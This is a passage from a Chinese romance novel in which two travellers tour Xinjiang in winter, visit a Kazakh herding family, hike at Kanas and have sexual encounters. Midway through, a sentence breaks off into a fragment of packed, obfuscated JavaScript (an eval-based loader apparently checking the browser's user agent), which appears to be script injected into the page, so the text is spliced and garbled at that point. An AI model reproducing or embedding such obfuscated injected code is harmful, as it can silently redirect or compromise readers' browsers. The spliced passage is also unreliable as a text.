蔺忱实在对这个词接受无能,他的宝贝装备哪能和这串联起来,“这叫蛋槽。” 黄杏子垫着躺下去,扭过头喊他:“回头把链接发我,我也买一个,之后可以用,还挺方便的。” 蔺忱翘起唇“哦”了一声,知道这东西好了吧,摆烂神器!到哪儿想坐了就拿出来垫屁股底下,多装逼! 四周寂静,大自然的声音充盈着耳畔,黄杏子闭上眼睛,感觉自己什么都听不见了,又什么都听得见。 手机信号彻底一格也没有了,他们短暂地与世界隔绝开来,静谧、安宁、荒芜。转场的牧人们他们会不会很孤独呢,草原上的时间是那么的漫长,能做点什么呢。 不知过去了多久,身体快要僵了,黄杏子听见身旁窸窸窣窣的声音睁了眼,紧接着一阵乒铃乓啷,是蔺忱在倒腾什么。 起来的时候手撑到了冰雪,冷得她一哆嗦。黄杏子站起身来蹦了几下,想让身子暖和起来,一边好奇蔺忱在做什么。 蔺忱架起折叠桌板,在摆弄烧水的铝锅,“烧水。” 黄杏子多少了解一些户外露营装备,什么锅碗瓢盆,折叠桌折叠椅,还有那种小小一个气罐,东西不大,价格不小。 “你是不是经常去徒步?” 蔺忱给锅子点上火,盘着腿坐,“年轻的时候登山、徒步、冲浪……什么都会点儿,现在年纪大了,惜命。” 年轻的时候怎么没想着惜命呢,她默默吐槽。 “详细说说?”黄杏子揪着雪地露出的枯草,一根一根拔着。 比赛周期结束进入休息的那段时间比较长,队里爱好相似的几个师兄弟经常约着去玩各种极限运动。 玩得最猛烈的那个年纪,K2(乔戈里峰)也闯过,几个荷尔蒙旺盛的小伙子天天不要命地往国外跑,等教练来抓人的时候,人早就在没有信号的深山里头了。 肖玉理就拿专业领域怼他,您当初年轻的时候跑去法国玩速降的时候,怎么没想到这个问题呢。 那时候还出过一个笑料,气得没法子了,饱受折磨的教练们集体闹离职。 锅里的气泡翻滚起来,水烧开了。 蔺忱拿来钛杯兑了些凉水,再倒了热水进去,递给黄杏子,“尝尝,雪水烧开融成的净水。” 黄杏子抿了一口,虽说味道和平时喝的水没什么差别,但到底是雪融水嘛,喝起来味道肯定还是要更高级纯净一点。 冰天雪地里,一口冒着热气的纯净水,暖流传至身体的各个部位,四肢暖和起来,没那么僵硬了。 “喝了能长生不老吗?” 蔺忱一本正经:“说长生不老的都是虚假的,以后买东西看到这种宣传不要信,我们这款产品由新鲜采摘的新疆高山雪水融化而成,纯正蒸馏水……可以延年益寿。” 黄杏子拿杯壁碰了碰蔺忱的胳膊,想递回去,谁料蔺忱故意发难,暧昧道,“你喝过的水给我喝?间接接吻啊。” 特么的,就是欠。 老娘亲你都不用打报告,你还嫌弃起来了。 黄杏子二话不说喝了一大口水,抓住蔺忱的肩膀把水往他嘴里渡。蔺忱得逞,喝完了不够,还伸着舌头搜刮她嘴里的水。 黄杏子实在是被他这个不要脸的动作羞恼住了,狠狠咬了他一口。蔺忱摁住她的后脑勺安抚了两下,反客为主,两人就在冰天雪地里接吻。 身体是不冷了,蔺忱像个大暖炉,呼吸交织,黄杏子的脸逐渐漫上潮红,体温也渐渐升高。 直到蔺忱放开她,黄杏子大口喘气,他手臂一拦,让她靠在自己肩膀上,戏谑,“怎么?你想把自己憋死啊。” 黄杏子往他怀里钻了下,“太冷了,肺活量不行。” 杯子里的水早就结成了冰,蔺忱在地上敲了两下,冰块儿整个掉出来,他勾了勾手,“你保温杯给我一下。” “哈?” 蔺忱等铝锅里的烧滚,用滚烫的沸水灌满保温杯,再给自己的也灌上,“泼水成冰。” “怎么泼?”她闻言眼睛一亮立马看了过来,来新疆这么多天,还没体验过泼水成冰呢。 “用大臂的力量划一个巨大的圆弧,侧后方,离身体偏一点,动作要快。”他说着做了一个无实物示范。 “这样?”黄杏子虚虚地模仿了一下。 蔺忱这次直接拿了保温杯,“幅度大一点,手臂打直,要果断。” 黄杏子也是个胆子大的,没有犹豫,手臂就挥出去了。 水泼出去的那个瞬间,白雾逐一呈散射状在空中划过一道优美的弧线,像太阳的光散射出去,下一秒又有无数流星坠落。 黄杏子仰头望着那些慢慢消散在空中的雾,内心只有雀跃,那一瞬间的快乐是简单的,纯粹到可以和小时候的自己获得等同的幸福。 当然不可能只玩一次,黄杏子泼了第二次,这次让蔺忱帮忙录了视频。 他们又不急,剩下的时间沿着湖边走,逐渐出现了牧民生活的痕迹。 - 两座小木屋错落地分布在湖边,旁边是马牛羊的圈篷,还有晃动的人影,不知道是不是在劳动。 走近了看才发现是在宰羊。五米开外的木桩上还拴着一头比较肥硕的羊,它的样子很焦躁,似乎知道自己的命运。 看样子隔壁的人家也在宰羊,这两家邻居在做同样的事。黄杏子看着那头一直踏脚的羊,心里有些复杂,喊了声“大绵羊”,玩笑道:“它知道自己要被宰吗?” 蔺忱解释说这叫冬宰,是每个牧民在冬天来临之时都会做的准备,游牧民族为了度过漫长的冬季必须宰杀一部分牲畜来抵御严寒,以及过节。 不过这个周期会很长,对于一个家庭来说工作量巨大,以至于延续到现在。 蔺忱说:“过去看看。” 他们过来的时候宰羊的男人就注意到了,放下刀具,布满粗旷鱼尾纹的眼睛眯成 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黄杏子也微笑着回了一声“佳克斯”,跟在这个哈萨克族姑娘后面进了屋子。 屋内不大,桌上摆了瓜果、果干和各种点心,展开在铺了漂亮花毯的床铺上,花色很多,大片颜色拼接。 他们家的花毡都是她妈妈亲手织的,妈妈手可巧了,只不过她就学了个半吊子,女孩儿说着害羞地摸了摸头发。 “你们夏天也在这里吗?”黄杏子问。 “没有,夏天会搬到夏牧场去,住毡房,奶奶和弟弟会留在这里。”她说。 “远吗?” “还好,不远。” 女孩儿煮了咸奶茶给他们喝,端出新鲜炸好的馕饼,“这是我研发出来的新品种,里面放了巴旦木和白杏干。” 一碗热乎的奶茶下肚,胃里很快暖和起来。 黄杏子咬了一口馕饼,刚出炉的馕口感香脆,味道比放了很久干巴巴的那种好多了,情绪激动,“好吃!” 蔺忱在她馕上蹭了一口,被黄杏子拽住打,“自己拿,别抢我的。” 弟弟才三岁,手里抱着一个皮球,怔怔地看着他们,蔺忱逗了逗,他就咧开嘴咯咯地笑。 巴勒塔自己用木头做了个廊架,腌好的牛羊肉被堆在铁盆里,端出去一块一块挂到架子上。 忽然有一道爽朗的声音从屋外传来,是隔壁家的男主人,他们家的事儿已经全部妥帖了,问巴勒塔要不要帮忙。 两家人经常互相帮忙,各自蹭饭,听闻巴勒塔家里来了远道而来的汉族客人,隔壁热情的女主人直接端来了煮好的牛肉汤,她的姐姐也带着家里两个孩子过来玩儿,这里很久没有来客人了。 离吃午饭还有一段时间,两家的大人都还在忙碌,巴勒塔的女儿还要去后面的羊圈里捡羊粪,黄杏子厚着脸皮跟着去了。 巴勒塔像是怕好不容易遇见的客人不告而别,特意跑回来强调:“中午吃饭噢!” 黄杏子笑着应了声“好”,这是哈族人刻在骨子里的热情好客,吃饭这种事情,见者有份。 女孩儿动作麻利,拎了一个桶,路过牛棚的时候看见奶奶在挤牛奶,黄杏子忍不住用视频的形式记录下来。 她捡起一块给黄杏子看,羊粪黑漆漆的,冻得硬邦邦,黄杏子捡起一块握在手里感受了一下,这东西硬得像块石头,但还好,味道不大。 她说归说,手里动作不停,还和她科普怎么辨别羊粪、牛粪和马粪,抱怨:“牛粪真的臭,而且那群犟种一到天黑就不想回来,老坏了。” 她讲得绘声绘色,平日里没人能同她说话,好不容易家里来了个年龄差不多的姑娘,可不兴奋嘛,一不小心就讲多了。 “羊粪是最好的东西!”她说,“可以作燃料,还可以砌起来保暖。” “每天都要把这些牛啊羊啊马啊放出去再赶回来吗?”哦,那边还有两头骆驼。 “就天气好的时候放出去,天气太冷了它们都不太愿意出去,冬季快来临的时候我们会备好充足的草粮,保证一整个冬天都有东西吃。”女孩儿解释道。 黄杏子一不留神的工夫,这姑娘已经捡了半桶,黄杏子也不找她聊天了,一块儿哼哧哼哧认真干活。 等到满满两大桶羊粪终于装满,黄杏子以为要回去休息的时候,她还要说自己还要清理羊圈。 羊圈底下积攒了厚厚一层羊粪,羊一出去放风,她就得趁着这段时间清理羊圈,上午快点弄完,下午就能抽出一点时间休息了。 黄杏子一直帮不上忙在一旁看着,女孩儿把一小把玉米粒放进她手心,“你帮忙去喂一下生病的小马,它性格很温顺的,牧草也可以喂一点。” “好。”黄杏子连忙点头应声,她正愁没事儿干呢。 小马驹恹恹地卧在地上,看到玉米噌的一下就站起来了,拱得木板哐哐响。“病房”搭得比较简陋,合并在马棚一起,四周砌了羊粪保暖,还有一个铺了厚厚茅草和垫子的小窝。 她手心摊开,“来!小马。” 黄杏子把玉米扔进它的食盆,它就迫不及待地低头吃了个精光,冬季粮食短缺,这点儿玉米都不够给它塞牙缝的。 不久蔺忱也找了过来,黄杏子正在拿牧草喂马,随手递了他一把,让给他一个站的位置,“呐,给你来点。” 小马驹显然是个“势利眼”,看见新来的那个男人手里的草多就不理黄杏子了,硕大板正的牙齿张开又合上,嚼吧嚼吧的,气得黄杏子大叫“没良心”。 - 快到吃饭的时间巴勒塔出来喊他们吃饭,黄杏子和蔺忱被邀请坐到上位,学着他们的样子盘腿围着桌子坐在床榻上。 巴勒塔给他们盛上汤,女主人很快端上一盘手抓饭,在之后是手抓肉、羊肉馄饨、马肉,桌上其乐融融,黄杏子慢慢的也不拘谨了。 黄杏子没吃过马肉,被蔺忱催促着尝了一片,肉更紧致,也别有一番风味。 满桌的气氛都是热闹温馨的,很像过年的时候一大家子聚在一起吃饭,长辈给小辈们夹菜盛汤,四岁前模糊短暂的记忆实在太少,寄人篱下的生活过久了,很少会再遇到到那么浓烈的关心。 有些东西她不在乎也不再需要了,但偶尔也会为之动容。 桌上边吃边聊着一些平日里发生的趣事,例如谁家的姑娘要出嫁了,哪里又要开一家小卖部,别人家的牛又跑到他们家的冬窝子取暖来了,大多是围绕着这些话题。 又问他们从哪里来,那里是怎么样的,黄杏子都一一解答了,尤其是巴勒塔家的女儿,小朋友眼睛亮得出奇,说自己曾经在小学的课本上看到过。 捡羊粪的时候小朋友和她说,等长大了她想去外面看看,但事实是家里目前还离不开她。 黄杏子便只能给她留一张纸,上面写下电话号码和微信号,告诉她等她长大了来找她。 “真的吗?”她眼瞳清澈而纯净。 黄杏子笑,声音也温柔,“真的。” 吃完饭后两人告辞,巴勒塔一家送他们出去,小姑娘姗姗来迟,把手里的塑料袋递进她怀里,黄杏子回车里拆开一看,里面装着两个还温热着的馕饼。 15. 喀纳斯 冬天在新疆开车实在是一件很寂寞的事,幸好有个说话的伴儿,否则视觉很快就会疲劳,一路说说笑笑,也不算太过无聊。 来之前黄杏子都做好了攻略,只不过到的时候比预想中的要晚,已经看不到晨雾了,但沿途的风景依旧是非同一般的绝美。 第一站是卧龙湾,树木丛生,紧贴着河流两岸,没有河流的山谷只有白茫茫的雪,像是一位在沉睡中的保卫者,平添几分庄严肃穆。 黄杏子一下车看见的时候还有些失望,当地执勤的安保人员建议他们如果有能力的话可以尝试徒步去月亮湾,最美的景色还在后面。 黄杏子头一扭,“你可以吗?” 这话问了简直白问,蔺忱没好气,“我不行你就不去了吗?” 黄杏子拍拍他的肩膀,“男人不能说不行。” 临时起意这件事黄杏子做多了,蔺忱也习惯了,要说怕冷,还是黄杏子更怕一些。 随行的小狗不知道是从哪儿窜出来的,跟了一路,蔺忱想赶它回家,它不走,黄杏子就骂他,“小狗多乖呀,你干嘛赶它。” 走着走着又觉得怪无聊的,想找点儿事情来做,便玩起了追逐游戏,加上毛色雪白的小狗,两人一狗,你追我赶,冰天雪地里像疯子一样撒欢,头发也散了,引得经过的游客投以目光。 黄杏子的体力自然没有蔺忱好,蔺忱也不肯放水,到了最后就是黄杏子拽住他的衣服不放,被他拖着走了半路,太消耗体力了。 黄杏子气喘吁吁,“真走不动了。” “要我背你?”蔺忱挑眉。 她张开双臂,“背。” “是谁不行?” “……”黄杏子连翻白眼的劲儿都没有了,偃旗息鼓,“我不行。” “你还是很行的嘛,能屈能伸。”蔺忱蹲下让她上来,“抓紧点儿,别掉下去摔成冰雕了。” 黄杏子趴在他背上,啧啧出声:“蔺教练,你以后女朋友也是蛮难找的噢,要和你这张嘴势均力敌。” 蔺忱不知道听没听到这句话,黄杏子就当他默认了,要是以他俩的性子在一起了,怕是会天天拌嘴,扰得家里天天不安宁。 冬季的户外是真冷啊,在外面待那么长时间,手脚和脸都是冰凉的,身体却是发热的,冰火两重天。 然而有一会儿不动,身体就快僵了,蔺忱没背一会儿她就嚷嚷着说要下来。 黄杏子睫毛上结了霜,小狗也是,毛被冻成一缕一缕。她拿出手机来看,手指不受控地点开摄像按钮,真的挺好看的,白色的,寒冷的证据。 蔺忱睫毛上也是,他睫毛很长,而且还浓密,却是恰到好处的漂亮,黄杏子不由啧啧两声,酸道:“睫毛精,像小姑娘一样。” 蔺忱闻言就开始臭屁,凑过来仔细端详,点点头,“妈生的。” “介意出镜吗?” 黄杏子拍vlog通常不会录到蔺忱,她的观众也只知道她有一个同行的旅游搭子,这次录视频是她一时兴起,算是一个合理的解释。 还有一丁点儿私心,留下一点能够回忆的资本,让这段美好封存,不至于什么都没留下,她本质上是一个比较念旧的人,所以喜欢记录。 蔺忱自然是不会介意的,他摇头,“没事。 他笑着,“你、哪个账号?我去捧场?” 这倒没什么可隐瞒的,黄杏子打开红薯后台给他看了一眼,“叫‘银杏叶在路上’,推你了,客官要记得点赞收藏加关注哦~” 蔺忱闷笑:“成,现在就给你点上。” 沿路的风景不用说,黄杏子揣着贴满暖宝宝的相机拍了一路。 黛青色的山与纯色的白,与禾木相比,这里更像是一幅水墨画,天空玻璃一般透亮,雾凇在阳光的照射下晶亮剔透,整个冬季雾气缭绕,让人不忍打扰。 如果说禾木是冬日童话,喀纳斯就是秘境,适合静静感受的地方。 偶尔有骑马的人经过,或者出来觅食的小动物,在这种地方人对声音是很敏感的,大多数时间听到的是雪塌陷下去的轻微声响,沙沙的,安静平和,如此的岁月静好。 走了快一个小时,终于看见了目的地的一角,到了地方,黄杏子反而松弛下来了。景点旁边有卖烤肠的流动摊贩,她要了两根,腿一伸就在马路牙子上坐了下来,松弛得不像个外地来旅游的。 在这么冷的天气里吃热得滴油的烤肠简直是一件太幸福的事情,黄杏子一小口一小口咬着,蔺忱奚落她吃得慢,她说这叫细细品尝。 如果不是那一阵大得把人帽子吹跑的风,或许会更完美。黄杏子慌忙把烤肠用围巾虚虚地挡住,烤肠是没什么事,但是油滴到围巾上了。 气急败坏的同时,她还苦中作乐:“你说这妖风,是不是所掠之处,都会被冰封啊。” 蔺忱帮她擦着油迹,头也不抬,“你想多了。” 黄杏子撇嘴,“真没劲儿。”一点儿也不会提供情绪价值。 “嗳。”黄杏子戳他脸,末了又摸他的耳朵,“你以前是不是那种正得发邪的好学生啊,脑子里每天都是学习和训练。” 蔺忱拨开她的手,“那还真不是,我小时候是孩子王,瞧不起谁呢。” 吃完烤肠去看月亮湾,果真是湾如其名,河道蜿蜒好似一轮弯月,线条优美,河面上层结了冰,还蒙了一层积雪,银装素裹。 拍完照再往回走……不走了。 蔺忱含笑扬了扬下巴,示意她走,“还走吗?” 黄杏子跑得极快,果断朝外跑,“走屁,打车。” 怂货。 黄杏子猛地扭头,“你又在后面骂我呢!” 蔺忱笑得肚子痛,边跑边笑,像抽了风一样。 时间已经不早了,剩下两个景点就留给明天,经过神仙湾的时候,蔺忱问她要不要去拍个照,黄杏子拒绝了,理由是要给明天留点儿惊喜。 之前下雪路两旁的雪结冰易打滑,有些堆在路旁结成了小冰丘,黄杏子开得很小心。 前面蔺忱突然停了下来,她探头一看,路旁停了两辆车,车旁围着站了几个人,似乎是有些焦头烂额。 黄杏子用对讲机和他沟通,“前面怎么了?” 蔺忱回应:“应该是陷车了。” “你在车上等着,我下去看看。”蔺忱说。但黄杏子偏爱看热闹,车门一开跳下车跟在他后头。 失事车主是个十九岁独自来旅行的小伙儿,旁边两个也是好心停车帮忙的驴友,在商量着怎么把车拖出来,小伙儿也是年轻,想了想还是怂了,“要不还是叫救援吧。” 蔺忱的声音从他们身后传过来,“不用,能弄出来。” “车里有备防滑垫吗?”他问。 小伙儿连忙应声,“欸,有的有的。” 他像看到了救星,说什么就应什么,在这种救援薄弱的地方,遇到这种热心的路人简直是谢天谢地了。 蔺忱绕着车子检查了一圈陷车的情况,蹲下身看轮子,“我后备箱里有铲子,帮忙拿一下。” 铲雪这事儿黄杏子也是轻车熟路了,清除轮胎周围的积雪和冰块后,蔺忱把防滑垫垫在轮胎后方,让他上车,尝试一下能不能靠油门自己出来。 小伙儿试了好几次,沮丧地打开车窗,“不行。” 蔺忱取来拖车绳,从后方牵着车子,探出车窗做了个ok的手势,示意他再试一次,僵持了十几分钟,好在车子终于出来了。 “出来了!”小伙儿连连感谢,蔺忱爽快地挥挥手没接受他的转账,“举手之劳罢了,玩的开心。” 住宿订在老村,开过去十几分钟就能到,路上遇到的牧民指了个方向,说那个方向再过去有个小众秘境,那儿有流动的河水,他们经常去那里取水。 还没到吃饭的时间,黄杏子就打算去那儿看看,流动的河水?来喀纳斯还没看过呢,怪想念的。 还真被她找到了,黄杏子开在前面,按照牧民的描述找地方,“是这里吧?应该就是这儿了,那边过去没路了。” 景色果真像牧民口中说得那样梦幻,更多的是原生态。比起景点,她还是更喜欢这些野生的景色,就像比起精致舒适的民宿,她更倾向于住进牧民的家里,去体验他们真实的生活。 湍急的河水汩汩地赶路,厚厚的积雪把岩石盖住,鼓起可可爱爱的一团一团。 “那是不是叫雪蘑菇?”黄杏子蹲在它面前仔细看了看。 蔺忱垂眸看过去,“嗯。” 黄杏子用手指戳上面的雪,右手拿着手机使劲儿拍拍拍,“好可爱啊。” 蔺忱的目光从雪蘑菇上转移,定格到蹲着的女人身上,黄杏子是真不爱化妆,脸颊被寒风吹得泛红,羊毛卷是自己用卷发棒卷的,活泼俏皮地垂落在胸前,脑子里冷不丁冒出一个想法,她也很可爱。 她蹲那儿,也跟个小蘑菇一样。 不过这话他当然不会说出来,不然黄杏子准要生气,说他骂她矮。 黄杏子就奇了怪了,他一个人站那儿傻笑什么呢,神经质啊。 “在笑什么?” 蔺忱立马收起笑容,“没什么,看到一个好笑的段子。” 她顿时竖起耳朵,眼睛望过来,“什么段子说来听听?” 嗬,还忘了这茬儿,她听到段子会更好奇。 蔺忱自然是说不出来,搪塞道:“网不好加载不出来了。” “哦”她明显心思也不在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄杏子抬眸,“真的?” 蔺忱大幅度点点头,转过身去一副要走的模样,“真的,骗你做什么。” 回去的路上迎面遇上夕阳。 太阳像个巨大无比的咸蛋黄,周围天空晕染成红色,带来这大片苍白寂寥中唯一的一抹色彩。 他们朝着太阳的方向开,迎着一天中最灿烂的时刻,心情在这一刻十分平静,或者说是安心。黄杏子目睹着太阳一点一点落下,一寸一寸没入云层,还没完,之后才是泼墨般色彩的天地。 晚饭简单吃了一碗面,回到他们的住处,黄杏子占了床边的小木桌开始办公,蔺忱没事儿干,出门和刚认识的牌友们打牌去了。 这回订的是一个房间了,小木屋只有一层,包含了床和卫浴等等基本的设施一应俱全。蔺忱回来的时候黄杏子已经洗完澡了,坐在床边做旅游攻略,旁边摆着一张路线图。 喀纳斯是这趟旅程的倒数第二站,按照她的规划,最后一站是白哈巴,白哈巴几个景点打卡完,这趟阿勒泰旅行就算到达尾声了。 察觉到男人走过来的身影,她下意识合上电脑,“回来了?” “嗯”蔺忱看到她摆在床边的地图僵了一下,把电脑随意扔到一边,像是狗一样拱了两下,把她压倒在床上亲吻。黄杏子想起来,手腕被摁得死死的挣脱不开,潮湿的吻又落下来。 “等一下,别闹。”她躲了下,笑:“你跟人家打牌打输了?” 蔺忱下意识反驳:“怎么可能,都没你男人厉害。” 黄杏子愣了一下,脸色爆红,音调突然提高,“你在说什么!” 蔺忱笑容痞痞的,语调慵懒不着调儿,“睡都睡过多少回了,害羞个什么劲儿!还是说你黄杏子脱了裤子不认人,那我可太伤心了。” 她从前就知道这狗东西声音好听,却不想还会蛊惑人呢,低低哑哑还带着股混蛋劲儿,你说说,这对血气方刚的女人是多大的挑战啊。 颈间皮肤被他的头发扎得有些痒,又听见他说:“已经一个礼拜了,该好了吧。” 黄杏子没答,蔺忱就开始动手动脚,胡乱在胸口脖子上啃咬,甚至还留了一个吻痕,下一秒手就要伸进衣服了。 黄杏子伸手抓住他衣领,就快要触碰到皮肤的瞬间猛地推了一把,“快去洗澡,身上一股烟味。” 蔺忱不情不愿地站起来,转身去浴室还不忘和她解释清楚,“我们那一桌有两个抽烟的。” 黄杏子敷衍地“嗯嗯”两声,她自然是知道的,蔺忱要是抽烟,她说什么也不会和他再进一步的。 16. 喀纳斯 蔺忱这个澡洗得比平常还要快,五分钟就出来了,衣服都没套,就穿了一条民宿提供的浴袍,腰间松松地系着,手里还攥着个方方正正的小盒子。 她瞪大眼睛,“这……你什么时候买的?” 蔺忱圈住她把人抱在怀里,“禾木商店里,小木屋不提供。” 黄杏子还在怀疑他有没有洗干净,他已经自觉堵住她的唇,免得这张嘴又说出什么他不爱听的话。 吻是汹涌热切的,几乎淹没了她,两个契合的灵魂藏起的秘密在这一场海啸中不必再隐匿,全部短暂地四散在浪花之中。 片刻,那根浴袍系带也滑落了。 女人的指尖划过皮肤某处,轻轻动了下,屋内灯啪地熄灭,陷入一片黑暗,就只听得见彼此的呼吸声了。 两人都没收着力,黄杏子用力抓着他的头发,感知力有些失灵,感受温度,感受形状,感受一切。 这个时候,时间好像就只属于他们两个了,两个落单的人,紧紧拥抱在一起。 黑暗中女人的头发被汗水浸湿,凌乱地散落着,偏巧蔺忱故意使坏,牙齿一个没咬住,喉头冒出一声尾音飘高的轻喘。 女人在他肩膀上使劲儿咬了一口,特么的,这人不是老早就说困了吗,怎么还有使不完的力气。这个时候无论她说什么好听的,蔺忱都置之不理。 黄杏子借着腰上的力气,朝旁边翻滚过去,一只脚刚着地,另一只脚又被一股力道拽住,拖了回去。 她刚要发脾气,得空踹过去的脚就被捉住,蔺忱抢占了先机:“真好意思,自己舒服了就不管债主死活了。” 黄杏子心虚了一下便更加理直气壮:“我当然好意思了,不然等着明天早上手脚都残废吗?自己和男人,当然是自己更重要。” 蔺忱不跟她废话,拽着她的手腕把人抓到跟前,甩开,“你干不干,不干咱俩玩完儿,你走,我回去了。” 他先前还问黄杏子夸他有服务意识,黄杏子现在想把这句话收回。 鼻梁和鼻梁之间挨得很近,又猛地远离,她下意识皱了皱眉,好像面前是到手的猎物在她眼皮子底下潜逃。 黄杏子当然是不愿意的,手比嘴快,双手曲折抱住前面那堵墙的手臂,轻轻晃着,“行了,乖啊,不生气了。”说着,手还在他头顶一下一下地摸着。 蔺忱拽下她放在头顶上的手,“让你回答上一个问题。” 黄杏子低头扫了一眼那方土地,口中那个“不”拐了个弯被她咽回去,不知想到了什么,眼底笑意放大,“干啊,但是你得听我的。” - 凌晨三点,这场闹剧总算落幕。 困意驱使着,蔺忱眼皮子正要阖上,黄杏子却睡不着了,窗帘露出的缝隙中闪过一团黑影,她蹬蹬蹬下床掀窗帘,“是马!” 而且是马群,有四五匹马在黑暗里夜行,时不时低头啃食地上的露出的草,悠闲得像在自己家一样。 院子的木门不知道是什么时候被打开的,然而这些外来客丝毫不觉得自己闯入了别人家的院子。 黄杏子彻底睡不着了,随手拿过一件外套,回到床边凑在蔺忱耳边说话:“我出去看看哦,你睡吧。” 蔺忱手臂撑着坐起身,缓了会儿也穿上拖鞋去拿衣服,“衣服裤子都穿上,外面很冷。” 她脚步一顿,“哦。” 冬天的衣服一层套着一层,穿上花了老半天,囫囵套了几件出门,马群已经走得有些远了,在人家门前晃荡。 黄杏子觉得十分有趣,它们也不理人,鼻毛都冻成了冰柱子还在优雅地吃草。而且吃得极慢,可能也是因为没什么草给它们挑吧。 “它们晚上不睡觉吗?”黄杏子专注地看着,蔺忱走上来给她系上围巾。 “睡啊,可能睡着睡着饿了吧就跑出来觅食了。” “那还真够悠闲的。” 马群在前院里绕了一圈从另一侧出了篱笆门,黄杏子也跟在后头出去,之后就演变成了两个神经病半夜三更在不睡觉,在空无一人的黑夜下压马路。 到了后半夜,马路上照明的路灯将尽熄了大半,只留下几盏,昏黄的,把他们的影子拉得很长。 这种感觉和往常走在一起不同,身体内肾上腺素带来的愉悦感还没消散掉,像是他们认识了很多年,而这只不过是这么多年以来普普通通的一天。 走到后来黄杏子有些困了,但她依旧没打算回去,可能蔺忱也是,她都看到他打哈欠了。 “之后打算去哪儿?”蔺忱的声音把沉默打破了一个缺口。 黄杏子:“去云南,有个民宿邀请我过去做民宿体验。” 蔺忱笑了笑,“云南有啥好玩的?还不如新疆地方大,景色美。” “你又没去过,你怎么知道美不美?”黄杏子哼笑,新疆嘛,等她赚够了钱,她还想多来几次,看遍春夏秋冬,“走了,回去睡觉,明天早上还得看晨雾。” 蔺忱没再说话,黄杏子走在前面,他便跟在后头,直到到了民宿两人都没说一句话。 - 第二天清晨黄杏子不出所料的起不来,蔺忱伸手越过她关掉一直响的闹钟,隔着被子拍了拍她,“起床。” 女人头发睡得乱糟糟,眼睛都懒得睁开,翻了个身,“不要。” 黄杏子明显还在梦里,在男人那张脸凑过来的时候一巴掌挥了过去,“烦死了,你要去自己去,别打扰老娘睡觉。” 一眨眼的功夫,她又意识昏迷睡了过去,再次醒来是被热醒的,身体可疑地在发出失控的信号,蔺忱从后面抱着她。 黄杏子人还是懵的,手往下一摸,顿时红彤彤地炸毛了,“你在干嘛!” 蔺忱慢条斯理抽出手,抽了张纸擦了擦,黄杏子眼睛不受控制地看过去,他手指生得修长匀称,纸巾接触的地方还在拉丝,看一眼就觉得羞耻。 他明显并没有看上去那么从容,“抱歉。” 黄杏子把大半被子扯过来包裹住自己,气急败坏,“给我也拿一张。” 接过纸巾,黄杏子囫囵擦了几下,率先占领了浴室,没过几分钟出来之后指着浴室,“你快去处理一下,时间不早了,一会儿得出发了。” 女人脸颊上的肉微微鼓起,蔺忱走过去捏了捏,不由地失笑,“好。” 早上气温很低,出门的时候太阳刚刚升起,还没让大地回温,昨晚好像又下了雪,空气中还掺杂着些许冰雪的气息,清冷寒凉。 黄杏子折返回去换了羽绒服,又贴上了暖宝宝,身上暖和了,才放心出门。 早饭在民宿的餐厅里解决,吃了碗热乎乎的牛肉面。早晨的一切看起来都是新鲜的,阳光柔和,在她脸上洒下淡淡的阴影。 到了车旁,黄杏子正要去摸车钥匙,忽然被一只手拦了,她抬眸看过去。 “上车,你这副样子开什么车。”蔺忱拉开副驾驶的车门,做了个请的手势。 “谢了。”黄杏子哈欠连天,见状从善如流坐了进去,蔺忱顺了她的意,她正好不想开。 她睡了一路,醒来的时候车停在那里,蔺忱坐在旁边玩手机,听见动静抬眸,“醒了?” 黄杏子朝窗外望,“到了?你怎么不叫醒我?”她怕错过了晨雾。 “刚到没一会儿。”蔺忱打开车门,长腿一伸,下去了。 这里人又不少了,三三两两的游客汇成一道人流,往同一个方向涌去。 从停车点下到下面需要走一段木栈道,下过雪的木头不好走,黄杏子鞋又不是很防滑,稍一不小心就脚下一滑,整个人向前摔去。 还好有蔺忱眼疾手快拽住她的胳膊,屁股才没遭殃。 栈道旁全是覆盖着雾凇的树木,远远望去像诗里的梨花树,树丛逐渐稀疏,一抬眼,发现神仙湾已露出神秘的一角。 走得越远人烟越是稀少,越静谧。 两人一致选择不去人挤人的观景台,直奔河边。 这会儿树把太阳遮住了,雾气一半蒙在阴影里,一半发着光。河对岸与层叠的森林重叠在一起,湖水缓慢流淌,像蒙着一层纱。 蔺忱双手捧着还冒着热气的烤红薯,满足地喟叹一声,引得黄杏子频频看过来,又一脸“好没出息”地扭过头去。 入口的地方有卖烤红薯的,蔺忱排队买了一个,黄杏子推辞的理由则是她忙得很,哪儿有功夫吃啊。 在蔺忱再次有意无意把他手里那抹红色亮过来的时候,那股诱人的香味刺激着黄杏子的味蕾,黄杏子睨他一眼,“你再得瑟我就把你的红薯吃完。” 蔺忱故意气她似的,一大口咬下去,半截没了,“真不吃?” 黄杏子扭过头去不理会他幼稚的行为,她想吃还不会买吗,谁稀罕他这点咬过的东西。 他吃东西速度极快,三两口连个底也不剩,就在她以为这人要消停等时候,黄杏子又眼睁睁地看着他从兜里摸出第二个。 她眼疾手快地顺走,“你买了两个?” 蔺忱手是故意松的,他耸了耸肩,手伸出去做了个假动作,“是啊,我胃口大,你不是不想吃吗,我自己吃。” 到手的扑鼻香气,黄杏子当然不可能让他得手,脖子迅速低下去,抱着烤红薯就咬了一口,嘴唇触碰到什么柔软的东西连忙松了口,眼神却还警惕,“我的了。” 在蔺忱眼里她现在就像一只护食的炸毛猫,收回被猫咬到的手指,他笑得意味深长,“哦,你的?” 黄杏子反应过来他在说什么,顿时“呸呸呸”恶寒道,“什么你的我的,你怎么不早拿出来啊,都要凉了。” “嘿!你这人,懂不懂什么叫吃人嘴短,拿人手软啊。”蔺忱伤心了。 黄杏子抱着她的红薯头也不回,“不好意思,不懂。” 早晨的光线并不强烈,河流上方飘着的雾似乎比刚才更多,四散缥缈,流动着,与冰雪共舞,簇拥着前进。 走到更开阔的地带,光感更加强烈,河与岸边界线清晰,平整地呈现一个C字,湖水湛蓝波光粼粼,不似人间,倒像是落入了哪里的仙境。 河对岸的树也美得出奇,雾凇挂枝,晶莹剔透,白色成了树的冬日限定皮肤,黄杏子脑海里响起岑森的那首诗,忽如一夜春风来,千树万树梨花开。 周遭安静开阔,阳光是他们之外唯一的访客。 